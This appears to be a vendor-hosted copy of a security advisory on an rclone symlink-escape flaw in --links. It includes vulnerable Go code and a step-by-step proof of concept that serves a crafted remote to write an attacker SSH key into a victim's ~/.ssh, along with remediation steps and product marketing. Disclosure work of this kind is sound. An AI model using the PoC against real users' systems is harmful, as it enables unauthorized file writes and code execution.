GHSA-cf44-9pgv-m4xc is a high-severity (CVSS 7.5) CWE-59 vulnerability in github.com/rclone/rclone. O3 Security confirms whether GHSA-cf44-9pgv-m4xc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote
Real-World Exposure
github.com/rclone/rcloneReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.
Details
backend/local/local.go, Object.Update():
} else {
out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data
}
...
if o.translatedLink {
if err == nil {
if _, err := os.Lstat(o.path); err == nil {
os.Remove(o.path)
}
// Use the contents for the copied object to create a symlink
err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed)
}
}
symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.
PoC
- Get the official stable binary:
curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d . # ./rclone -> v1.74.3
- Create an attacker-controlled "remote" (two objects) and a victim layout:
mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh # empty (before)
- Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):
cd evil && python3 -m http.server 38080 --bind 127.0.0.1
- VICTIM ACTION — back up the untrusted remote preserving symlinks:
./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v
- Observe — a file landed OUTSIDE
./dest:
ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest)
cat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned <-- written outside dest
pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.
Impact
An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).
Remediation
In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/rclone/rclone | all versions | 1.74.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/rclone/rclone. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/rclone/rclone to 1.74.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cf44-9pgv-m4xc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cf44-9pgv-m4xc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-cf44-9pgv-m4xc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cf44-9pgv-m4xc in your dependencies?
O3 detects GHSA-cf44-9pgv-m4xc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.